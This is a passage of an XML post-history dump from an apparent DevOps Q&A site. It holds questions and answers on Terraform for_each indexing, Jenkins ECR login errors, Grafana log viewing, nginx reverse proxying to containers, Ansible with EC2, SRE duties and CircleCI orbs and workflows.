of whether `var.vpc_cidrs` is `[&quot;10.0.0.0/16&quot;, &quot;10.1.0.0/16&quot;]` or `[&quot;10.1.0.0/16&quot;, &quot;10.0.0.0/16&quot;]`, because the instances would be tracked by the CIDR block string and the index in the list is totally ignored.&#xD;&#xA;&#xD;&#xA;With that all said, the reason why the index isn't directly available when using `for_each` is that this would defeat the main purpose of using `for_each`: it would make the order significant again. In your specific situation, if you used the index in the tag Name then changing the order of the list would cause Terraform to plan to swap the tagging on those two VPCs:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; # aws_vpc.vpc[&quot;10.0.0.0/16&quot;] will be updated in-place&#xD;&#xA; ~ resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;     ~ tags = {&#xD;&#xA;         ~ Name = &quot;Company01&quot; -&gt; &quot;Company02&quot;&#xD;&#xA;       }&#xD;&#xA;     # ...&#xD;&#xA;   }&#xD;&#xA;&#xD;&#xA; # aws_vpc.vpc[&quot;10.0.0.0/16&quot;] will be updated in-place&#xD;&#xA; ~ resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;     ~ tags = {&#xD;&#xA;         ~ Name = &quot;Company02&quot; -&gt; &quot;Company01&quot;&#xD;&#xA;       }&#xD;&#xA;     # ...&#xD;&#xA;   }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Perhaps that is fine for your case, if those numbers are just there to create some uniqueness and it doesn't matter if they get reassigned over time as CIDR blocks are added, removed and reordered in the input variable. If that's true, then we can derive a value that contains the original index and use that as part of `for_each` like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;  for_each = { for i, b in var.vpc_cidrs : b =&gt; { index = i } }&#xD;&#xA;&#xD;&#xA;  cidr_block           = each.key&#xD;&#xA;  tags = {&#xD;&#xA;    Name = format(&quot;Company%02d&quot;, each.value.index + 1)&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If you consider the position in the list to be truly significant though -- for example, if you'd want swapping two elements in the list to change the `cidr_block` values on the two existing objects rather than to re-tag them, it would be more appropriate to use `count` so that Terraform tracks them by the indices itself:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;resource &quot;aws_vpc&quot; &quot;vpc&quot; {&#xD;&#xA;  count = length(var.vpc_cidrs)&#xD;&#xA;&#xD;&#xA;  cidr_block           = var.vpc_cidrs[count.index]&#xD;&#xA;  tags = {&#xD;&#xA;    Name = format(&quot;Company%02d&quot;, count.index + 1)&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34910" PostHistoryTypeId="2" PostId="11416" RevisionGUID="ba26ad7c-1df3-4fea-ae5b-29c0eed5f3e3" CreationDate="2020-04-23T00:23:05.353" UserId="21612" Text="The &quot;Add Parameters&quot; can help you. You should set up your downstream pipeline with &quot;GIT_BRANCH&quot; parameter to build with that branch, and transfer it from this upstream job." ContentLicense="CC BY-SA 4.0" />
  <row Id="34912" PostHistoryTypeId="2" PostId="11417" RevisionGUID="6c097b4a-7dc2-4157-8aa8-c968fd127ef0" CreationDate="2020-04-23T08:28:55.787" UserId="21893" Text="I have a Jenkinsfile that I need to login to ECR. this is the relevant section&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        script {&#xD;&#xA;          docker.withRegistry('https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/', 'awsId'){&#xD;&#xA;            def image = docker.image(&quot;01234.dkr.ecr.ap-southeast-1.amazonaws.com/tas/master-server:${env.BUILD_ID}&quot;)&#xD;&#xA;            image.push()&#xD;&#xA;          }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But what gets output in the jenkins build is the strange part&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[Pipeline] withDockerRegistry&#xD;&#xA;$ docker login -u AKIAZWB**********HET -p ******** https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: login attempt to https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/v2/ failed with status: 401 Unauthorized&#xD;&#xA;[Pipeline] // withDockerRegistry```&#xD;&#xA;&#xD;&#xA;I remember if one runs `aws ecr get-login` the `-u` is AWS, not the access keyof the credentials. so where do I get this wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34913" PostHistoryTypeId="1" PostId="11417" RevisionGUID="6c097b4a-7dc2-4157-8aa8-c968fd127ef0" CreationDate="2020-04-23T08:28:55.787" UserId="21893" Text="unable to login using docker registry on jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="34914" PostHistoryTypeId="3" PostId="11417" RevisionGUID="6c097b4a-7dc2-4157-8aa8-c968fd127ef0" CreationDate="2020-04-23T08:28:55.787" UserId="21893" Text="&lt;jenkins-pipeline&gt;&lt;docker-registry&gt;&lt;aws-ecr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34915" PostHistoryTypeId="2" PostId="11418" RevisionGUID="09ec2195-127a-4a4a-9d91-069e10e9fb07" CreationDate="2020-04-23T08:43:50.533" UserId="9344" Text="Grafana was not really built to view logs from the start.&#xD;&#xA;They however introduced this feature in v6.0 via the [Explore tab][1]&#xD;&#xA;&#xD;&#xA;This is leveraged by the Elasticsearch data source (in v6.3+).&#xD;&#xA;See https://grafana.com/docs/grafana/latest/features/datasources/elasticsearch/#logs-beta for more.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grafana.com/docs/grafana/latest/features/explore/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34916" PostHistoryTypeId="5" PostId="11418" RevisionGUID="6aeda2ea-2b9c-4091-945c-b43d581249d1" CreationDate="2020-04-23T08:48:50.933" UserId="9344" Comment="more explanatory" Text="Grafana was not really built to view logs from the start.&#xD;&#xA;&#xD;&#xA;They however introduced this feature in v6.0 via the [Explore tab][1]&#xD;&#xA;&#xD;&#xA;This is leveraged by the Elasticsearch data source (in v6.3+).&#xD;&#xA;&#xD;&#xA;Check the [Elasticsearch docs][2] for more. &#xD;&#xA;&#xD;&#xA;If you want, you can still integrate this with Cloudwatch. Check out the [log subscirber-consumer solution][3] &amp; [this][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grafana.com/docs/grafana/latest/features/explore/&#xD;&#xA;  [2]: https://grafana.com/docs/grafana/latest/features/datasources/elasticsearch/#logs-beta%20for%20more&#xD;&#xA;  [3]: https://github.com/amazon-archives/cloudwatch-logs-subscription-consumer&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_ES_Stream.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="34920" PostHistoryTypeId="2" PostId="11420" RevisionGUID="78f3b977-4acd-42d1-92ed-030b2726fc38" CreationDate="2020-04-23T09:22:37.563" UserId="21895" Text="So, I have this architecture despicted in the attached picture, which consists&#xD;&#xA;of a nginx server on the host machine, and 3 urls, app1.com, app2.com, app3.com.&#xD;&#xA;&#xD;&#xA;app1 and app2 are both in the host machine, lets say they are an HTML file on the host,&#xD;&#xA;on the container, there is app3 and app2.com/example url.&#xD;&#xA;&#xD;&#xA;My question is, how can I reference the container in the nginx of the host?&#xD;&#xA;Since I cannot expose port 80 and 443 of the container, because the host&#xD;&#xA;is already using these ports, I am not sure what is the best approach to this.&#xD;&#xA;&#xD;&#xA;I though about putting the container on a not used port, like 8999 for example,&#xD;&#xA;and proxying the request to this port, and blocking these ports on the firewall,&#xD;&#xA;so no one outside can access them. If I go with this option, does the nginx&#xD;&#xA;configuration inside of the containers will need the server_name still? In the&#xD;&#xA;case of the app3.com/example&#xD;&#xA;&#xD;&#xA;The other option I thougth about is using the docker socket, or even the docker0&#xD;&#xA;network, but I don't know if this is viable.&#xD;&#xA;&#xD;&#xA;An example of the nginx configuration file of the host:&#xD;&#xA;```conf&#xD;&#xA;server {&#xD;&#xA;  server_name app1.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app1/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com;&#xD;&#xA;  location / { &#xD;&#xA;    root /var/www/app2/index.html&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  location /example {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    proxy_pass http://localhost:8999;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Example of the nginx configuration file of the container:&#xD;&#xA;```conf&#xD;&#xA;server {&#xD;&#xA;  server_name app2.com&#xD;&#xA;  location /example {&#xD;&#xA;    root /var/www/app2/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;server {&#xD;&#xA;  server_name app3.com;&#xD;&#xA;  location / {&#xD;&#xA;    root /var/www/app3/index.html;&#xD;&#xA;  }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Ling to the rough picture of the architecture: https://imgur.com/Hx3enGi.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="34921" PostHistoryTypeId="1" PostId="11420" RevisionGUID="78f3b977-4acd-42d1-92ed-030b2726fc38" CreationDate="2020-04-23T09:22:37.563" UserId="21895" Text="Question on NGINX reverse proxy when there are services on the host and on containers" ContentLicense="CC BY-SA 4.0" />
  <row Id="34922" PostHistoryTypeId="3" PostId="11420" RevisionGUID="78f3b977-4acd-42d1-92ed-030b2726fc38" CreationDate="2020-04-23T09:22:37.563" UserId="21895" Text="&lt;docker&gt;&lt;nginx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34923" PostHistoryTypeId="5" PostId="11418" RevisionGUID="618f4712-163d-4765-a68c-718701acd2c9" CreationDate="2020-04-23T09:51:57.247" UserId="9344" Comment="offerr another solution" Text="Grafana was not really built to view logs from the get go.&#xD;&#xA;&#xD;&#xA;They however introduced this feature in v6.0 via the [Explore tab][1]&#xD;&#xA;&#xD;&#xA;This can be leveraged in 2 ways.&#xD;&#xA;&#xD;&#xA;Via Elasticsearch data source (in v6.3+)&#xD;&#xA;-&#xD;&#xA;&#xD;&#xA;Check the [Elasticsearch docs][2] for more. &#xD;&#xA;&#xD;&#xA;If you want, you can still integrate this with Cloudwatch. Check out the [log subscirber-consumer solution][3] &amp; [this][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Via Loki &amp; AWS Lambda&#xD;&#xA;-&#xD;&#xA;If you want to stick to Cloudwatch as your primary source of logs, you can create a Lambda function that ships them to Loki which in tern can be used in Grafana as a data source. See [1][5], [2][6] &amp; [3][7]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://grafana.com/docs/grafana/latest/features/explore/&#xD;&#xA;  [2]: https://grafana.com/docs/grafana/latest/features/datasources/elasticsearch/#logs-beta%20for%20more&#xD;&#xA;  [3]: https://github.com/amazon-archives/cloudwatch-logs-subscription-consumer&#xD;&#xA;  [4]: https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/CWL_ES_Stream.html&#xD;&#xA;  [5]: https://www.novatec-gmbh.de/en/blog/integrating-cloudwatch-logs-with-grafanas-loki/&#xD;&#xA;  [6]: https://grafana.com/docs/grafana/latest/features/datasources/loki/&#xD;&#xA;  [7]: https://roobert.github.io/2020/01/12/Cloudwatch-Loki-Shipper/" ContentLicense="CC BY-SA 4.0" />
  <row Id="34924" PostHistoryTypeId="2" PostId="11421" RevisionGUID="7fa8daa6-9f23-4cd8-a4a3-66a1b5a5b0d3" CreationDate="2020-04-23T09:57:51.483" UserId="9344" Text="Use this instead:&#xD;&#xA;&#xD;&#xA;```groovy&#xD;&#xA;script {&#xD;&#xA;    sh &quot;`aws ecr get-login --region ap-southeast-1 --no-include-email`&quot;&#xD;&#xA;    docker.image('01234.dkr.ecr.ap-southeast-1.amazonaws.com/&lt;yourImage&gt;:&lt;yourTag&gt;')&#xD;&#xA;}&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34925" PostHistoryTypeId="5" PostId="11417" RevisionGUID="6c47ac61-9bc8-4b96-93d5-eeefccb47ccd" CreationDate="2020-04-23T11:31:16.300" UserId="9344" Comment="split question from error output" Text="I have a Jenkinsfile that I need to login to ECR. this is the relevant section&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        script {&#xD;&#xA;          docker.withRegistry('https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/', 'awsId'){&#xD;&#xA;            def image = docker.image(&quot;01234.dkr.ecr.ap-southeast-1.amazonaws.com/tas/master-server:${env.BUILD_ID}&quot;)&#xD;&#xA;            image.push()&#xD;&#xA;          }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But what gets output in the jenkins build is the strange part&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker login -u AKIAZWB**********HET -p ******** https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: login attempt to https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/v2/ failed with status: 401 Unauthorized&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I remember if one runs `aws ecr get-login` the `-u` is AWS, not the access keyof the credentials. so where do I get this wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34926" PostHistoryTypeId="24" PostId="11417" RevisionGUID="6c47ac61-9bc8-4b96-93d5-eeefccb47ccd" CreationDate="2020-04-23T11:31:16.300" Comment="Proposed by 9344 approved by -1 edit id of 1192" ContentLicense="CC BY-SA 4.0" />
  <row Id="34927" PostHistoryTypeId="5" PostId="11417" RevisionGUID="9f5f47a0-ead7-4021-906e-2bfedd8891a4" CreationDate="2020-04-23T11:31:16.300" UserId="354" Comment="split question from error output" Text="I have a Jenkinsfile that I need to login to ECR. this is the relevant section&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;        script {&#xD;&#xA;          docker.withRegistry('https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/', 'awsId'){&#xD;&#xA;            def image = docker.image(&quot;01234.dkr.ecr.ap-southeast-1.amazonaws.com/tas/master-server:${env.BUILD_ID}&quot;)&#xD;&#xA;            image.push()&#xD;&#xA;          }&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;But what gets output in the jenkins build is the strange part&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ docker login -u AKIAZWB**********HET -p ******** https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/&#xD;&#xA;WARNING! Using --password via the CLI is insecure. Use --password-stdin.&#xD;&#xA;Error response from daemon: login attempt to https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/v2/ failed with status: 401 Unauthorized&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I remember if one runs `aws ecr get-login` the `-u` is AWS, not the access key of the credentials. So where do I get this wrong?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34928" PostHistoryTypeId="2" PostId="11422" RevisionGUID="048aa04a-758d-4ebf-abe7-cc2589cb7407" CreationDate="2020-04-23T11:47:36.040" UserId="15073" Text="I would like to install apache2 remotely on aws ec2 instance from my locally installed ansible server on my laptop. I have also the. pem key of the instance. Now what Ip need to put in /etc/ansible/hosts file inorder to connect ec2 instance from my laptop? " ContentLicense="CC BY-SA 4.0" />
  <row Id="34929" PostHistoryTypeId="1" PostId="11422" RevisionGUID="048aa04a-758d-4ebf-abe7-cc2589cb7407" CreationDate="2020-04-23T11:47:36.040" UserId="15073" Text="Install apache on awa ec2 from locally installed ansible server on my laptop" ContentLicense="CC BY-SA 4.0" />
  <row Id="34930" PostHistoryTypeId="3" PostId="11422" RevisionGUID="048aa04a-758d-4ebf-abe7-cc2589cb7407" CreationDate="2020-04-23T11:47:36.040" UserId="15073" Text="&lt;ansible&gt;&lt;amazon-ec2&gt;&lt;apache-httpd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34931" PostHistoryTypeId="2" PostId="11423" RevisionGUID="28b14883-cdcc-4bc7-ba35-378e7effb1b4" CreationDate="2020-04-23T12:00:42.737" UserId="8800" Text="If the instance has *Public IP* address and its *Security Group* permits access from your IP use that to tell Ansible where to connect. " ContentLicense="CC BY-SA 4.0" />
  <row Id="34933" PostHistoryTypeId="2" PostId="11424" RevisionGUID="87767c74-13a2-4ae7-bf86-69ce31719dd9" CreationDate="2020-04-23T13:40:43.323" UserId="14930" Text="I think what you are doing wrong is the way you specify the credentialID to be used. &#xD;&#xA;&#xD;&#xA;Instead of `'awsId'` try to use `'ecr:ap-southeast-1:awsId'`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;docker.withRegistry('https://01234.dkr.ecr.ap-southeast-1.amazonaws.com/', 'ecr:ap-southeast-1:awsId') {&#xD;&#xA;    def image = docker.image(&quot;01234.dkr.ecr.ap-southeast-1.amazonaws.com/tas/master-server:${env.BUILD_ID}&quot;)&#xD;&#xA;    image.push()                                        &#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;EDIT: Check the [plugin doc](https://plugins.jenkins.io/amazon-ecr/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="34938" PostHistoryTypeId="2" PostId="11426" RevisionGUID="a511360f-2c02-44bb-8f03-4f6fe29578ef" CreationDate="2020-04-23T20:23:50.783" UserId="21909" Text="I read from SRE books that Site Reliability Engineer main activities are:&#xD;&#xA;&#xD;&#xA;* reducing toil and implement automated tasks;&#xD;&#xA;* define and implement SLIs and SLOs for the services;&#xD;&#xA;* implement monitoring systems and alerting;&#xD;&#xA;* Define an acceptable reliability levels for the services;&#xD;&#xA;* analyze and manage risk;&#xD;&#xA;&#xD;&#xA;I want to ask if you are agree, and, since that theory and practice may differ, as Site Reliability Engineers what are your main daily activities and if you work in a small, medium or big company. " ContentLicense="CC BY-SA 4.0" />
  <row Id="34939" PostHistoryTypeId="1" PostId="11426" RevisionGUID="a511360f-2c02-44bb-8f03-4f6fe29578ef" CreationDate="2020-04-23T20:23:50.783" UserId="21909" Text="SRE main activities in practice" ContentLicense="CC BY-SA 4.0" />
  <row Id="34940" PostHistoryTypeId="3" PostId="11426" RevisionGUID="a511360f-2c02-44bb-8f03-4f6fe29578ef" CreationDate="2020-04-23T20:23:50.783" UserId="21909" Text="&lt;sre&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34942" PostHistoryTypeId="2" PostId="11428" RevisionGUID="417ac592-d30e-4cc6-a601-fa43254b7a39" CreationDate="2020-04-23T22:26:19.157" UserId="3599" Text="I'm looking at: https://circleci.com/orbs/registry/orb/circleci/kubernetes&#xD;&#xA;&#xD;&#xA;Whats the point of this? Whats the benefit of an 'orb' which is a circleci specific feature rather than say a bash function / script?&#xD;&#xA;&#xD;&#xA;Seems like unnecessary lockin, but maybe I'm just being naive here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34943" PostHistoryTypeId="1" PostId="11428" RevisionGUID="417ac592-d30e-4cc6-a601-fa43254b7a39" CreationDate="2020-04-23T22:26:19.157" UserId="3599" Text="Whats the point of circleci orbs?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34944" PostHistoryTypeId="3" PostId="11428" RevisionGUID="417ac592-d30e-4cc6-a601-fa43254b7a39" CreationDate="2020-04-23T22:26:19.157" UserId="3599" Text="&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34945" PostHistoryTypeId="5" PostId="11428" RevisionGUID="d5e5e36c-4e59-4909-824d-b1492c570a2e" CreationDate="2020-04-23T22:41:03.020" UserId="3599" Comment="added 39 characters in body" Text="I'm looking at: https://circleci.com/orbs/registry/orb/circleci/kubernetes&#xD;&#xA;&#xD;&#xA;Whats the point of this? Whats the benefit of an 'orb' which is a circleci specific feature rather than say a bash function / script (which is more interoperable / common)?&#xD;&#xA;&#xD;&#xA;Seems like unnecessary lockin, but maybe I'm just being naive here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34946" PostHistoryTypeId="2" PostId="11429" RevisionGUID="4637685c-dbe6-4896-b127-95267f6091c4" CreationDate="2020-04-24T02:05:02.707" UserId="8125" Text="That can be achieved using another `gcloud` command:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;gcloud beta asset search-all-iam-policies --query policy:&quot;roles/owner&quot; --project $your_project_id --flatten=&quot;results[].policy[]&quot; --format=&quot;csv(bindings.members[0])&quot;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34949" PostHistoryTypeId="2" PostId="11430" RevisionGUID="18779230-e090-4d5b-bcd4-87c2a72285e4" CreationDate="2020-04-24T06:09:26.673" UserId="21914" Text="It may help to try it on another computer or inside a VM to isolate the cause.&#xD;&#xA;&#xD;&#xA;I ran into the same issue on one computer (stable Manjaro with snap docker). Interestingly, I was able to build the same Dockerfile without issues on another computer (running KDE Neon with snap docker). I'm not sure what the actual cause of the issue is, but it seems, in my case, to be a problem with docker itself and not the Dockerfile.&#xD;&#xA;&#xD;&#xA;####[Dockerfile](https://github.com/mlaradji/redis-cluster-docker-swarm/blob/master/redis-sentinel/Dockerfile):&#xD;&#xA;```Dockerfile&#xD;&#xA;FROM redis:5.0.9-alpine&#xD;&#xA;&#xD;&#xA;LABEL version=&quot;1.0.4&quot;&#xD;&#xA;&#xD;&#xA;ENV SENTINEL_QUORUM=2 \&#xD;&#xA;    SENTINEL_DOWN_AFTER=1000 \&#xD;&#xA;    SENTINEL_FAILOVER=1000 \&#xD;&#xA;    REDIS_MASTER_NAME=redismaster \&#xD;&#xA;    REDIS_MASTER=redis-zero \&#xD;&#xA;    REDIS_SENTINEL_NAME=redis-sentinel&#xD;&#xA;&#xD;&#xA;RUN apk --no-cache add drill&#xD;&#xA;[...]&#xD;&#xA;```&#xD;&#xA;#### Output:&#xD;&#xA;```sh&#xD;&#xA;ERROR: Unable to read database state: No such file or directory&#xD;&#xA;ERROR: Failed to open apk database: No such file or directory&#xD;&#xA;The command '/bin/sh -c apk --no-cache add drill' returned a non-zero code: 99&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34950" PostHistoryTypeId="2" PostId="11431" RevisionGUID="b0d4e9c1-dd2b-4a2d-a562-65395865636d" CreationDate="2020-04-24T09:41:05.303" UserId="21893" Text="I have a current stack that has this on the output of the cloudformation template&#xD;&#xA;```&#xD;&#xA;  VPCId:&#xD;&#xA;    Description: The ID of the VPC that this stack is deployed in&#xD;&#xA;    Value: !Ref 'VPC'&#xD;&#xA;    Export:&#xD;&#xA;      Name: !Join [ ':', [ !Ref 'AWS::StackName', 'VPCId' ] ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;If I want to create another stack that wants to import in the VPC ID, How do I call the import value?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34951" PostHistoryTypeId="1" PostId="11431" RevisionGUID="b0d4e9c1-dd2b-4a2d-a562-65395865636d" CreationDate="2020-04-24T09:41:05.303" UserId="21893" Text="Input VPC ID values" ContentLicense="CC BY-SA 4.0" />
  <row Id="34952" PostHistoryTypeId="3" PostId="11431" RevisionGUID="b0d4e9c1-dd2b-4a2d-a562-65395865636d" CreationDate="2020-04-24T09:41:05.303" UserId="21893" Text="&lt;aws-cloudformation&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34954" PostHistoryTypeId="50" PostId="11151" RevisionGUID="75478f65-daa9-4656-a19d-787734cf9d14" CreationDate="2020-04-24T12:08:15.823" UserId="-1" />
  <row Id="34955" PostHistoryTypeId="5" PostId="11428" RevisionGUID="5e0f8b34-532a-40f1-afef-0d718491caa1" CreationDate="2020-04-24T12:20:09.043" UserId="20042" Comment="Formatting and tags" Text="I'm looking at: [`CircleCI` `Orb` for `kubernetes`](https://circleci.com/orbs/registry/orb/circleci/kubernetes)&#xD;&#xA;&#xD;&#xA;Whats the point of this? Whats the benefit of an `orb` which is a `CircleCI`  specific feature rather than say a `bash` function/script (which is more interoperable/common)?&#xD;&#xA;&#xD;&#xA;Seems like unnecessary lockin, but maybe I'm just being naive here?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34956" PostHistoryTypeId="6" PostId="11428" RevisionGUID="5e0f8b34-532a-40f1-afef-0d718491caa1" CreationDate="2020-04-24T12:20:09.043" UserId="20042" Comment="Formatting and tags" Text="&lt;kubernetes&gt;&lt;circleci&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34957" PostHistoryTypeId="24" PostId="11428" RevisionGUID="5e0f8b34-532a-40f1-afef-0d718491caa1" CreationDate="2020-04-24T12:20:09.043" Comment="Proposed by 20042 approved by 3599 edit id of 1194" ContentLicense="CC BY-SA 4.0" />
  <row Id="34958" PostHistoryTypeId="2" PostId="11432" RevisionGUID="0321b273-fc5b-4cee-82c2-18709f16ea46" CreationDate="2020-04-24T12:23:16.190" UserId="3599" Text="    workflows:&#xD;&#xA;      version: 2&#xD;&#xA;      build_deploy_test:&#xD;&#xA;        jobs:&#xD;&#xA;          - build:&#xD;&#xA;              filters:&#xD;&#xA;                branches:&#xD;&#xA;                  only:&#xD;&#xA;                    - develop&#xD;&#xA;          - christest:&#xD;&#xA;              requires:&#xD;&#xA;                - install&#xD;&#xA;              filters:&#xD;&#xA;                branches:&#xD;&#xA;                  only: devops-docker-intial&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;With the following workflow a commit to the `devops-docker-intial` branch just results in a workflow that is 'created' - it doesn't proceed further... Why?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34959" PostHistoryTypeId="1" PostId="11432" RevisionGUID="0321b273-fc5b-4cee-82c2-18709f16ea46" CreationDate="2020-04-24T12:23:16.190" UserId="3599" Text="Circle ci workflow job stuck in &quot;created&quot; when adding a required step to the workflow" ContentLicense="CC BY-SA 4.0" />
  <row Id="34960" PostHistoryTypeId="3" PostId="11432" RevisionGUID="0321b273-fc5b-4cee-82c2-18709f16ea46" CreationDate="2020-04-24T12:23:16.190" UserId="3599" Text="&lt;circleci-2.0&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34961" PostHistoryTypeId="2" PostId="11433" RevisionGUID="07485aec-13dd-44e6-b1b1-524618936f2b" CreationDate="2020-04-24T12:24:20.103" UserId="3599" Text="Due to the fact that `build` had a branch filter... Even though no error message on additional info is shown...&#xD;&#xA;&#xD;&#xA;Hence I needed to add the branch like so:&#xD;&#xA;```&#xD;&#xA;workflows:&#xD;&#xA;  version: 2&#xD;&#xA;  build_deploy_test:&#xD;&#xA;    jobs:&#xD;&#xA;      - build:&#xD;&#xA;          filters:&#xD;&#xA;            branches:&#xD;&#xA;              only:&#xD;&#xA;                - develop&#xD;&#xA;                - devops-docker-intial&#xD;&#xA;      - christest:&#xD;&#xA;          requires:&#xD;&#xA;            - install&#xD;&#xA;          filters:&#xD;&#xA;            branches:&#xD;&#xA;              only: devops-docker-intial&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="34962" PostHistoryTypeId="5" PostId="11431" RevisionGUID="e86fde35-0fa8-4d4b-8711-2b462ec3f87f" CreationDate="2020-04-24T12:44:20.783" UserId="20042" Comment="Formatting and tags" Text="I have a current `stack` that has this on the output of the `CloudFormation` template&#xD;&#xA;```&#xD;&#xA;  VPCId:&#xD;&#xA;    Description: The ID of the VPC that this stack is deployed in&#xD;&#xA;    Value: !Ref 'VPC'&#xD;&#xA;    Export:&#xD;&#xA;      Name: !Join [ ':', [ !Ref 'AWS::StackName', 'VPCId' ] ]&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I want to create another `stack` that wants to import in the `VPC` ID.&#xD;&#xA;&#xD;&#xA;How do I call the import value?" ContentLicense="CC BY-SA 4.0" />
  <row Id="34963" PostHistoryTypeId="6" PostId="11431" RevisionGUID="e86fde35-0fa8-4d4b-8711-2b462ec3f87f" CreationDate="2020-04-24T12:44:20.783" UserId="20042" Comment="Formatting and tags" Text="&lt;aws-cloudformation&gt;&lt;aws-vpc&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="34964" PostHistoryTypeId="24" PostId="11431" RevisionGUID="e86fde35-0fa8-4d4b-8711-2b462ec3f87f" CreationDate="2020-04-24T12:44:20.783" Comment="Proposed by 20042 approved by 21893 edit id of 1193" ContentLicense="CC BY-SA 4.0" />
  <row Id="34965" PostHistoryTypeId="2" PostId="11434" RevisionGUID="cea2810b-e9a6-48e4-93f9-98435283942d" CreationDate="2020-04-24T13:03:06.257" UserId="20042" Text="Let me answer each your question in parts.&#xD;&#xA;&#xD;&#xA;# What the point is?&#xD;&#xA;&#xD;&#xA;As per [Orbs Introduction](https://circleci.com/docs/2.0/orb-intro/):&#xD;&#xA;&#xD;&#xA;&gt; orbs are shareable packages of configuration elements, including jobs, commands, and executors. &#xD;&#xA;&gt; CircleCI provides certified orbs, along with 3rd-party orbs authored by CircleCI partners&#xD;&#xA;&#xD;&#xA;The advantages of this approach are that an **authorized** package **jobs**, **commands**, and **executors** is offered.&#xD;&#xA;&#xD;&#xA;Assuming [hundreds of `orbs`](https://circleci.com/orbs/registry/), it looks like an ecosystem. Just like `Ansible roles` or `Jenkins plugins`&#xD;&#xA;&#xD;&#xA;# `orbs` vs shell functions/script&#xD;&#xA;&#xD;&#xA;Since `orb` packages [`jobs`](https://circleci.com/docs/2.0/jobs-steps/#jobs-overview), `commands`, and 